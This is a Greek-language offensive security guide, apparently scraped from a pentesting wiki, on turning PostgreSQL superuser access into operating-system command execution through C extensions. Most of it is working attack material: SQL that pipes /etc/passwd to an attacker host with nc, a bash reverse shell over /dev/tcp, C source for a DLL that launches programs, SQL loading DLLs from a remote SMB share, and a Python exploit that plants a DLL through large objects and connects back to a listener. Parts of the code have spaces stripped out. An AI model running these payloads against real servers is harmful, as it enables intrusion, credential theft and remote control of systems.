Η PostgreSQL έχει αναπτυχθεί με την επεκτασιμότητα ως βασικό χαρακτηριστικό, επιτρέποντας την απρόσκοπτη ενσωμάτωσή επεκτάσεων όπως αν ήταν ενσωματωμένες λειτουργίες. Αυτές οι επεκτάσεις, ουσιαστικά βιβλιοθήκες γραμμένες σε C, εμπλουτίζουν τη βάση δεδομένων με επιπλέον συναρτήσεις, τελεστές ή τύπους.
Από την έκδοση 8.1 και μετά, επιβάλλεται μια συγκεκριμένη απαίτηση στις βιβλιοθήκες επεκτάσεων: πρέπει να είναι συμπιεσμένες με μια ειδική κεφαλίδα. Χωρίς αυτό, η PostgreSQL δεν θα τις εκτελέσει, διασφαλίζοντας ότι χρησιμοποιούνται μόνο συμβατές και δυνητικά ασφαλείς επεκτάσεις.
Η εκτέλεση συστημικών εντολών από την PostgreSQL 8.1 και παλαιότερες εκδόσεις είναι μια διαδικασία που έχει τεκμηριωθεί σαφώς και είναι απλή. Είναι δυνατόν να χρησιμοποιήσετε αυτό: Modul Metasploit.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Γράψτε δυαδικό αρχείο από base64
Για να γράψετε ένα δυαδικό αρχείο σε ένα αρχείο στο postgres, μπορεί να χρειαστεί να χρησιμοποιήσετε το base64, αυτό θα είναι χρήσιμο για αυτό το θέμα:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
Ωστόσο, όταν επιχειρήθηκε σε μεγαλύτερες εκδόσεις εμφανίστηκε το εξής σφάλμα:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Για να διασφαλιστεί ότι ένα δυναμικά φορτωμένο αρχείο αντικειμένου δεν φορτώνεται σε έναν ασύμβατο διακομιστή, το PostgreSQL ελέγχει ότι το αρχείο περιέχει ένα “μαγικό μπλοκ” με τα κατάλληλα περιεχόμενα. Αυτό επιτρέπει στον διακομιστή να ανιχνεύει προφανείς ασυμβατότητες, όπως κώδικα που έχει μεταγλωττιστεί για μια διαφορετική κύρια έκδοση του PostgreSQL. Ένα μαγικό μπλοκ απαιτείται από την έκδοση 8.2 του PostgreSQL. Για να συμπεριλάβετε ένα μαγικό μπλοκ, γράψτε αυτό σε ένα (και μόνο ένα) από τα αρχεία πηγής του module, αφού έχετε συμπεριλάβει την κεφαλίδα fmgr.h:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
Από την έκδοση 8.2 του PostgreSQL, η διαδικασία για έναν επιτιθέμενο να εκμεταλλευτεί το σύστημα έχει γίνει πιο δύσκολη. Ο επιτιθέμενος απαιτείται είτε να χρησιμοποιήσει μια βιβλιοθήκη που είναι ήδη παρούσα στο σύστημα είτε να ανεβάσει μια προσαρμοσμένη βιβλιοθήκη. Αυτή η προσαρμοσμένη βιβλιοθήκη πρέπει να έχει μεταγλωττιστεί κατά της συμβατής κύριας έκδοσης του PostgreSQL και πρέπει να περιλαμβάνει ένα συγκεκριμένο "μαγικό μπλοκ". Αυτό το μέτρο αυξάνει σημαντικά τη δυσκολία εκμετάλλευσης των συστημάτων PostgreSQL, καθώς απαιτεί μια πιο βαθιά κατανόηση της αρχιτεκτονικής του συστήματος και της συμβατότητας εκδόσεων.
Μεταγλωττίστε τη βιβλιοθήκη
Αποκτήστε την έκδοση του PostgreSQL με:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
Για συμβατότητα, είναι ουσιώδες οι κύριες εκδόσεις να ευθυγραμμίζονται. Επομένως, η σύνθεση μιας βιβλιοθήκης με οποιαδήποτε έκδοση εντός της σειράς 9.6.x θα πρέπει να διασφαλίσει επιτυχημένη ενσωμάτωση.
Για να εγκαταστήσετε αυτή την έκδοση στο σύστημά σας:
Στη συνέχεια, ανεβάστε τη συμπιεσμένη βιβλιοθήκη και εκτελέστε εντολές με:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
Μπορείτε να βρείτε αυτή τη βιβλιοθήκη προετοιμασμένη για πολλές διαφορετικές εκδόσεις PostgreSQL και μπορείτε ακόμη να αυτοματοποιήσετε αυτή τη διαδικασία (αν έχετε πρόσβαση στο PostgreSQL) με:
Η παρακάτω DLL δέχεται ως είσοδο το όνομα του δυαδικού και τον αριθμό των φορών που θέλετε να το εκτελέσετε και το εκτελεί:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
Μπορείτε να βρείτε το DLL που έχει μεταγλωττιστεί σε αυτό το zip:
Μπορείτε να υποδείξετε σε αυτό το DLL ποιο δυαδικό να εκτελέσει και τον αριθμό των φορών που θα το εκτελέσει, σε αυτό το παράδειγμα θα εκτελέσει το calc.exe 2 φορές:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
Σημειώστε πώς σε αυτή την περίπτωση ο κακόβουλος κώδικας είναι μέσα στη συνάρτηση DllMain. Αυτό σημαίνει ότι σε αυτή την περίπτωση δεν είναι απαραίτητο να εκτελέσετε τη φορτωμένη συνάρτηση στο postgresql, απλώς φορτώνοντας το DLL θα εκτελέσει το reverse shell:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
Το PolyUDF project είναι επίσης ένα καλό σημείο εκκίνησης με το πλήρες έργο MS Visual Studio και μια έτοιμη προς χρήση βιβλιοθήκη (συμπεριλαμβανομένων: command eval, exec και cleanup) με υποστήριξη πολλαπλών εκδόσεων.
RCE στις πιο πρόσφατες εκδόσεις του PostgreSQL
Στις πιο πρόσφατες εκδόσεις του PostgreSQL, έχουν επιβληθεί περιορισμοί όπου ο superuser είναι απαγορευμένος από το φορτώσει αρχεία κοινής βιβλιοθήκης εκτός από συγκεκριμένους καταλόγους, όπως C:\Program Files\PostgreSQL\11\lib στα Windows ή /var/lib/postgresql/11/lib σε συστήματα *nix. Αυτοί οι κατάλογοι είναι ασφαλισμένοι κατά των λειτουργιών εγγραφής είτε από τους λογαριασμούς NETWORK_SERVICE είτε postgres.
Παρά αυτούς τους περιορισμούς, είναι δυνατόν για έναν αυθεντικοποιημένο superuser της βάσης δεδομένων να γράψει δυαδικά αρχεία στο σύστημα αρχείων χρησιμοποιώντας "μεγάλες αντικείμενα." Αυτή η δυνατότητα επεκτείνεται στη γραφή εντός του καταλόγου C:\Program Files\PostgreSQL\11\data, ο οποίος είναι απαραίτητος για τις λειτουργίες της βάσης δεδομένων όπως η ενημέρωση ή η δημιουργία πινάκων.
Μια σημαντική ευπάθεια προκύπτει από την εντολή CREATE FUNCTION, η οποία επιτρέπει την περιήγηση καταλόγων στον κατάλογο δεδομένων. Ως εκ τούτου, ένας αυθεντικοποιημένος επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτή την περιήγηση για να γράψει ένα αρχείο κοινής βιβλιοθήκης στον κατάλογο δεδομένων και στη συνέχεια να το φορτώσει. Αυτή η εκμετάλλευση επιτρέπει στον επιτιθέμενο να εκτελεί αυθαίρετο κώδικα, επιτυγχάνοντας εκτέλεση εγγενών κωδίκων στο σύστημα.
Ροή επίθεσης
Πρώτα απ' όλα πρέπει να χρησιμοποιήσεις μεγάλες αντικείμενα για να ανεβάσεις το dll. Μπορείς να δεις πώς να το κάνεις αυτό εδώ:
Μόλις ανεβάσεις την επέκταση (με το όνομα poc.dll για αυτό το παράδειγμα) στον κατάλογο δεδομένων, μπορείς να την φορτώσεις με:
create function connect_back(text, integer) returns void as '../data/poc','connect_back' language C strict;select connect_back('192.168.100.54',1234);
Σημειώστε ότι δεν χρειάζεται να προσθέσετε την επέκταση .dll καθώς η δημιουργία της συνάρτησης θα την προσθέσει.
Για περισσότερες πληροφορίες διαβάστε τηναρχική δημοσίευση εδώ.
Σε αυτή τη δημοσίευση αυτός ήταν οκώδικας που χρησιμοποιήθηκε για τη δημιουργία της επέκτασης postgres (για να μάθετε πώς να μεταγλωττίσετε μια επέκταση postgres διαβάστε οποιαδήποτε από τις προηγούμενες εκδόσεις).
Στην ίδια σελίδα δόθηκε αυτή η εκμετάλλευση για την αυτοματοποίηση αυτής της τεχνικής:
#!/usr/bin/env python3import sysiflen(sys.argv)!=4:print("(+) usage %s <connectback> <port> <dll/so>"% sys.argv[0])print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll"% sys.argv[0])sys.exit(1)host = sys.argv[1]port =int(sys.argv[2])lib = sys.argv[3]withopen(lib, "rb")as dll:d = dll.read()sql ="select lo_import('C:/Windows/win.ini', 1337);"for i inrange(0, len(d)//2048):start = i *2048end = (i+1) *2048if i ==0:sql +="update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;"% (i, d[start:end].hex())else:sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d)%2048) !=0:end = (i+1) *2048sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql +="select lo_export(1337, 'poc.dll');"sql +="create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"sql +="select connect_back('%s', %d);"% (host, port)print("(+) building poc.sql file")withopen("poc.sql", "w")as sqlfile:sqlfile.write(sql)print("(+) run poc.sql in PostgreSQL using the superuser")print("(+) for a db cleanup only, run the following sql:")print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")print(" drop function connect_back(text, integer);")